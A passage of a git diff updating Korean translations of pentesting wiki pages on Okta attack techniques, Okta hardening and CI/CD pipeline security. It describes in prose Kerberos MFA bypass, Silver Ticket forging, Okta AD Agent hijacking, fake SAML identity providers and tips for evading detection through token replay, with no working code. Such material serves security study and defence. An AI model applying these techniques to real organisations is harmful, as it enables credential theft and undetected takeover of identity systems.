다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다. > [!CAUTION] > Okta의 주요 목표는 외부 애플리케이션에 대한 다양한 사용자 및 그룹의 접근을 구성하는 것입니다. 만약 **Okta 환경에서 관리자 권한을 탈취**하게 된다면, 회사가 사용하는 **모든 다른 플랫폼을 탈취할 가능성이 매우 높습니다**. @@ -26,38 +26,38 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다 **사용자**가 있습니다 (이들은 **Okta에 저장되거나, 구성된 **Identity Providers**에서 로그인하거나, **Active Directory** 또는 LDAP를 통해 인증될 수 있습니다).\ 이 사용자들은 **그룹**에 속할 수 있습니다.\ -또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA와 같은 다양한 인증 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)... +또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)... -그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책** 내에 있어야 합니다. +그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책**에 포함되어야 합니다. > [!CAUTION] > 가장 강력한 역할은 **Super Administrator**입니다. > -> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이** 매우 높은 확률로 **탈취될 것입니다**. +> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이 매우 높은 확률로 탈취될 것입니다**. ## Attacks ### Locating Okta Portal -일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없다면, 조직이 **CNAME** 레코드인 **`okta.companyname.com`**을 가지고 있을 가능성도 있습니다. +일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없는 경우, 조직이 **CNAME** 레코드를 가지고 있을 가능성도 있습니다, 예를 들어 **`okta.companyname.com`**이 **Okta 포털**을 가리키고 있습니다. ### Login in Okta via Kerberos -만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, **Rubeus** 또는 **Mimikatz**와 같은 도구를 사용하여 제어된 호스트에 주입하고 **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있는지 확인하십시오**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며 Okta 대시보드에 접근할 수 있습니다. +만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, Rubeus 또는 Mimikatz와 같은 도구를 사용하여 제어된 호스트에 **주입**하고, **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있어야 합니다**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며, Okta 대시보드에 접근할 수 있습니다. -**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 티켓 암호화에 사용하므로 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다. +**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 사용한 티켓 암호화는 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다. **공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -이 기술은 **서버에서 Okta AD Agent에 접근**하여 **사용자를 동기화하고 인증을 처리**하는 것입니다. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이를 통해 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 **보편적 인증**을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사). +이 기술은 **서버에서 Okta AD Agent에 접근하는 것**을 포함하며, 이는 **사용자를 동기화하고 인증을 처리합니다**. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이는 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 보편적인 인증을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사). **공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화하면 에이전트가 **인증 시도를 처리**할 수 있으며, Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다. +이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화는 에이전트가 **인증 시도를 처리**할 수 있게 하여 Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다. **공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** @@ -65,7 +65,7 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다 **공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -이 기술은 **가짜 SAML 공급자를 배포하는 것**입니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면 개별 사용자 자격 증명 없이도 Okta 사용자로 인증할 수 있어, 잠재적으로 눈에 띄지 않게 접근 제어를 크게 강화할 수 있습니다. +이 기술은 **가짜 SAML 공급자를 배포하는 것**을 포함합니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써, 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면, 개별 사용자 자격 증명 없이도 모든 Okta 사용자로 인증할 수 있어, 접근 제어를 크게 강화할 수 있습니다. ### Phishing Okta Portal with Evilgnix @@ -73,12 +73,12 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다 ### Colleague Impersonation Attack -각 사용자가 가질 수 있는 **속성**(이메일 또는 이름과 같은)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 해당 플랫폼에서 **다른 사용자를 가장할 수 있습니다**. +각 사용자가 가질 수 있고 수정할 수 있는 **속성**(예: 이메일 또는 이름)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 그 플랫폼에서 **다른 사용자를 가장할 수 있습니다**. -따라서 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 아마도 변경할 수 없을 것입니다 (일반적으로 이 필드는 변경할 수 없기 때문입니다), 그러나 예를 들어 **`primaryEmail`**을 신뢰한다면 **동료의 이메일 주소로 변경**하고 가장할 수 있을 것입니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다). +따라서, 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 일반적으로 그 필드를 변경할 수 없지만, 예를 들어 **`primaryEmail`**을 신뢰하고 있다면, **동료의 이메일 주소로 변경**하여 가장할 수 있습니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다). -이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만이 탈취될 것입니다.\ -따라서 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다: +이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만 탈취될 것입니다.\ +따라서, 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다:
@@ -88,7 +88,7 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다 ## Evading behavioural detection policies -Okta의 행동 감지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오. +Okta의 행동 탐지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오. 주요 권장 사항은 다음과 같습니다: @@ -96,7 +96,7 @@ Okta의 행동 감지 정책은 처음 접할 때까지 알 수 없지만, **우 - 클라이언트와 재생된 접근 토큰 간에 **일관된 사용자 에이전트 문자열**을 보장하십시오. - 동일한 IP 주소에서 다른 사용자로부터 **토큰을 재생하지 마십시오**. - Okta 대시보드에 대해 토큰을 재생할 때 주의하십시오. -- 피해 회사의 IP 주소를 알고 있다면, **트래픽을 해당 IP 또는 해당 범위로 제한**하고 다른 모든 트래픽을 차단하십시오. +- 피해 회사의 IP 주소를 알고 있다면, **해당 IP 또는 범위로 트래픽을 제한**하고 모든 다른 트래픽을 차단하십시오. ## Okta Hardening diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 3976f512a..0b39c9d19 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,7 +6,7 @@ ### People -공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 운영 체제)를 볼 수 있습니다. +공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. 왜냐하면 **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 해당 OS)를 볼 수 있기 때문입니다. 화이트박스 검토를 위해 "**대기 중인 사용자 작업**" 및 "**비밀번호 재설정**"이 여러 개 없는지 확인하십시오. @@ -21,25 +21,25 @@ ### Devices -여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. **적극적으로 관리되고 있는지** 여부도 확인할 수 있습니다. +여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. 또한 **적극적으로 관리되고 있는지** 여부를 확인할 수 있습니다. ### Profile Editor 여기에서는 이름, 성, 이메일, 사용자 이름 등과 같은 주요 정보가 Okta와 다른 애플리케이션 간에 어떻게 공유되는지 관찰할 수 있습니다. 사용자가 **Okta에서 필드**(예: 이름 또는 이메일)를 수정할 수 있다면, 이는 **외부 애플리케이션**에서 사용자를 **식별**하는 데 사용될 수 있으므로 내부자가 다른 계정을 **탈취**하려고 시도할 수 있습니다. -또한 Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 확인할 수 있습니다. 관리 패널을 볼 수 없다면, **프로필 업데이트** 정보를 확인하면 어떤 필드를 업데이트할 수 있는지 볼 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다). +또한, Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 볼 수 있습니다. 관리 패널을 볼 수 없는 경우, **프로필 정보 업데이트**로 이동하면 어떤 필드를 업데이트할 수 있는지 확인할 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다). ### Directory Integrations 디렉토리는 기존 소스에서 사람을 가져올 수 있게 해줍니다. 여기에서 다른 디렉토리에서 가져온 사용자를 볼 수 있을 것입니다. -보지 못했지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자에 대한 일부 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**. +나는 이것을 본 적이 없지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**. ### Profile Sources 프로필 소스는 사용자 프로필 속성의 **진실의 출처로 작용하는 애플리케이션**입니다. 사용자는 한 번에 단일 애플리케이션 또는 디렉토리에서만 소스될 수 있습니다. -보지 못했으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다. +나는 이것을 본 적이 없으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다. ## Customizations @@ -47,7 +47,7 @@ 이 섹션의 **Domains** 탭에서 이메일 주소를 확인하고 회사의 Okta 내 사용자 지정 도메인을 확인하십시오(아마 이미 알고 있을 것입니다). -또한 **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다. +또한, **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다. ### SMS @@ -55,7 +55,7 @@ ### End-User Dashboard -여기에서 구성된 애플리케이션을 찾을 수 있지만, 나중에 다른 섹션에서 그 세부 사항을 볼 것입니다. +여기에서 구성된 애플리케이션을 찾을 수 있지만, 그에 대한 세부정보는 나중에 다른 섹션에서 볼 것입니다. ### Other @@ -65,13 +65,13 @@ ### Applications -여기에서 모든 **구성된 애플리케이션**과 그 세부 정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑... +여기에서 모든 **구성된 애플리케이션**과 그 세부정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑... **`Sign On`** 탭에는 사용자가 애플리케이션 설정을 확인할 때 **비밀번호를 표시**할 수 있는 **`Password reveal`**이라는 필드도 있습니다. 사용자 패널에서 애플리케이션의 설정을 확인하려면 3개의 점을 클릭하십시오:
-그리고 앱에 대한 더 많은 세부 정보를 볼 수 있습니다(비밀번호 표시 기능이 활성화되어 있는지 여부 등): +그리고 앱에 대한 더 많은 세부정보(비밀번호 표시 기능이 활성화되어 있는지 등)를 볼 수 있습니다:
@@ -81,7 +81,7 @@ Access Certifications를 사용하여 사용자의 리소스 접근을 주기적으로 검토하고 필요할 때 자동으로 접근을 승인하거나 철회하는 감사 캠페인을 생성하십시오. -사용되는 것을 보지 못했지만, 방어 관점에서 볼 때 좋은 기능이라고 생각합니다. +나는 이것이 사용되는 것을 본 적이 없지만, 방어적인 관점에서 볼 때 좋은 기능이라고 생각합니다. ## Security @@ -91,7 +91,7 @@ Access Certifications를 사용하여 사용자의 리소스 접근을 주기적 - **CAPTCHA 통합**: 최소한 보이지 않는 reCaptcha를 설정하는 것이 좋습니다. - **조직 보안**: 모든 것을 활성화할 수 있으며 활성화 이메일은 오래 걸리지 않아야 합니다(7일이면 괜찮습니다). - **사용자 열거 방지**: 두 가지 모두 활성화되어야 합니다. -- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건이 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오): +- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건 중 하나가 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오): - 셀프 서비스 등록 - 이메일 인증이 있는 JIT 흐름 - **Okta ThreatInsight 설정**: 위협 수준에 따라 보안을 기록하고 시행합니다. @@ -104,17 +104,17 @@ Access Certifications를 사용하여 사용자의 리소스 접근을 주기적 여기에서 사용자가 사용할 수 있는 모든 인증 방법을 찾을 수 있습니다: 비밀번호, 전화, 이메일, 코드, WebAuthn... 비밀번호 인증기를 클릭하면 **비밀번호 정책**을 볼 수 있습니다. 강력한지 확인하십시오. -**Enrollment** 탭에서 필수 또는 선택 사항인 항목을 확인할 수 있습니다: +**Enrollment** 탭에서는 필수 또는 선택 사항인 항목을 볼 수 있습니다:
-전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다. +전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마도 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다. ### Authentication policies 모든 앱에는 인증 정책이 있습니다. 인증 정책은 앱에 로그인하려는 사용자가 특정 조건을 충족하는지 확인하고 해당 조건에 따라 요소 요구 사항을 시행합니다. -여기에서 각 애플리케이션에 접근하기 위한 **요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 최소한 비밀번호와 다른 방법을 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다. +여기에서 각 애플리케이션에 대한 **접근 요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 비밀번호와 다른 방법을 최소한 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다. ### Global Session Policy @@ -126,9 +126,9 @@ MFA를 요청하고, 세션 수명을 몇 시간으로 제한하며, 브라우 ### Identity Providers -ID 공급자(IdPs)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdPs를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 통해 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다. +ID 공급자(IdP)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdP를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다. -ID 공급자 페이지에서 소셜 로그인을 추가하고 수신 SAML을 추가하여 Okta를 서비스 제공자(SP)로 구성할 수 있습니다. IdPs를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다. +ID 공급자 페이지에서 소셜 로그인을 추가하고 Okta를 서비스 제공자(SP)로 구성하여 인바운드 SAML을 추가할 수 있습니다. IdP를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다. **어떤 ID 공급자가 구성되어 있다면** 공격자와 방어자의 관점에서 해당 구성을 확인하고 **출처가 정말 신뢰할 수 있는지** 확인하십시오. 공격자가 이를 타협하면 Okta 환경에 접근할 수 있습니다. @@ -149,12 +149,12 @@ ID 공급자 페이지에서 소셜 로그인을 추가하고 수신 SAML을 추 ### Device Integrations - **Endpoint Management**: 엔드포인트 관리는 관리되는 장치가 애플리케이션에 접근할 수 있도록 보장하기 위해 인증 정책에 적용할 수 있는 조건입니다. -- 아직 사용된 것을 보지 못했습니다. TODO -- **Notification services**: 아직 사용된 것을 보지 못했습니다. TODO +- 나는 이것이 사용되는 것을 본 적이 없습니다. TODO +- **Notification services**: 나는 이것이 사용되는 것을 본 적이 없습니다. TODO ### API -이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **토큰을 생성한 사용자**가 **활성** 상태일 때만 유효합니다. +이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **사용자**가 **활성** 상태일 때만 유효합니다. **신뢰할 수 있는 출처**는 Okta API를 통해 Okta 조직에 접근할 수 있도록 제어하고 신뢰하는 웹사이트에 대한 접근을 부여합니다. @@ -176,11 +176,11 @@ API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이 ### System Log -여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부 정보가 포함되어 있습니다. +여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부정보가 포함되어 있습니다. ### Import Monitoring -이것은 **Okta에 접근한 다른 플랫폼의 로그를 가져올 수 있습니다**. +이것은 **다른 플랫폼에서 가져온 로그**를 **가져올 수 있습니다**. ### Rate limits @@ -194,6 +194,6 @@ API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이 ### Downloads -여기에서 Okta를 다른 기술과 동기화하기 위한 Okta 에이전트를 다운로드할 수 있습니다. +여기에서 Okta 에이전트를 다운로드하여 Okta를 다른 기술과 동기화할 수 있습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index ce1602a20..3cce07320 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -16,7 +16,7 @@ VCS는 **버전 관리 시스템**을 의미하며, 이 시스템은 개발자 ## CI/CD Pipelines -CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있도록 하여, 애플리케이션을 빌드, 테스트 및 배포하는 다양한 목적을 수행합니다. 이러한 자동화된 워크플로우는 **특정 작업**(예: 코드 푸시, 풀 리퀘스트 또는 예약된 작업)에 의해 **트리거**됩니다. 이는 개발에서 프로덕션으로의 프로세스를 간소화하는 데 유용합니다. +CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있도록 하여, 애플리케이션을 빌드, 테스트 및 배포하는 다양한 목적을 수행합니다. 이러한 자동화된 워크플로우는 **특정 작업**(예: 코드 푸시, 풀 리퀘스트 또는 예약된 작업)에 의해 **트리거**됩니다. 이는 개발에서 프로덕션으로의 과정을 간소화하는 데 유용합니다. 그러나 이러한 시스템은 **어딘가에서 실행**되어야 하며, 보통 **코드를 배포하거나 민감한 정보에 접근하기 위해 권한이 있는 자격 증명**이 필요합니다. @@ -27,23 +27,23 @@ CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있 프로젝트의 소스 코드를 포함하는 플랫폼은 민감한 정보를 포함하고 있으며, 사람들은 이 플랫폼 내에서 부여된 권한에 대해 매우 조심해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼의 일반적인 문제는 다음과 같습니다: -- **누출**: 코드에 커밋에서 누출이 포함되어 있고 공격자가 레포에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우), 그는 누출을 발견할 수 있습니다. +- **리크**: 코드에 커밋에서 리크가 포함되어 있고 공격자가 레포에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우), 그는 리크를 발견할 수 있습니다. - **접근**: 공격자가 **VCS 플랫폼 내 계정에 접근할 수 있다면**, 그는 **더 많은 가시성과 권한**을 얻을 수 있습니다. - **등록**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용합니다. -- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만, 유효한 SSO로 접근하는 것은 허용합니다(예: 공격자가 자신의 github 계정을 사용하여 들어갈 수 있습니다). -- **자격 증명**: 사용자 이름+비밀번호, 개인 토큰, ssh 키, Oauth 토큰, 쿠키... 사용자가 레포에 접근하기 위해 훔칠 수 있는 여러 종류의 토큰이 있습니다. +- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만, 유효한 SSO로 접근하는 것은 허용합니다(예: 공격자가 자신의 github 계정을 사용하여 접근할 수 있습니다). +- **자격 증명**: 사용자 이름+비밀번호, 개인 토큰, ssh 키, Oauth 토큰, 쿠키... 사용자가 어떤 방식으로든 레포에 접근하기 위해 훔칠 수 있는 여러 종류의 토큰이 있습니다. - **웹훅**: VCS 플랫폼은 웹훅 생성을 허용합니다. 만약 이들이 **보이지 않는 비밀**로 **보호되지 않는다면**, **공격자가 이를 악용할 수 있습니다**. - 비밀이 없다면, 공격자는 제3자 플랫폼의 웹훅을 악용할 수 있습니다. - 비밀이 URL에 있다면, 동일한 일이 발생하며 공격자는 비밀을 가집니다. - **코드 손상:** 악의적인 행위자가 레포에 대해 어떤 종류의 **쓰기** 접근 권한을 가지고 있다면, 그는 **악성 코드를 주입**하려고 시도할 수 있습니다. 성공하기 위해 그는 **브랜치 보호를 우회**해야 할 수도 있습니다. 이러한 행동은 다양한 목표를 가지고 수행될 수 있습니다: -- 메인 브랜치를 손상시켜 **프로덕션을 손상**시키기 위해. -- 메인(또는 다른 브랜치)을 손상시켜 **개발자 머신을 손상**시키기 위해(개발자들은 보통 자신의 머신에서 테스트, terraform 또는 다른 작업을 실행합니다). -- **파이프라인 손상** (다음 섹션 참조) + - 메인 브랜치를 손상시켜 **프로덕션을 손상**시키기. + - 메인(또는 다른 브랜치)을 손상시켜 **개발자 머신을 손상**시키기(개발자들이 보통 테스트, 테라폼 또는 다른 작업을 자신의 머신에서 실행하기 때문). + - **파이프라인 손상**(다음 섹션 참조) ## Pipelines Pentesting Methodology 파이프라인을 정의하는 가장 일반적인 방법은 **레포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건 및 빌드 환경 설정을 설명합니다.\ -이 파일들은 일반적으로 일관된 이름과 형식을 가지며, 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 및 .github/workflows 아래에 위치한 GitHub Actions YAML 파일이 있습니다. 트리거되면, 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 가져오고**, **CI 구성 파일에 지정된 명령을 해당 코드에 대해 실행**합니다. +이 파일들은 일반적으로 일관된 이름과 형식을 가지며, 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 및 .github/workflows 아래에 위치한 GitHub Actions YAML 파일이 있습니다. 트리거되면, 파이프라인 작업은 선택된 소스(예: 커밋 / 브랜치)에서 **코드를 가져오고**, **CI 구성 파일에 지정된 명령을 해당 코드에 대해 실행**합니다. 따라서 공격자의 궁극적인 목표는 어떤 식으로든 **이 구성 파일을 손상시키거나** **그들이 실행하는 명령을 손상시키는 것**입니다. @@ -61,22 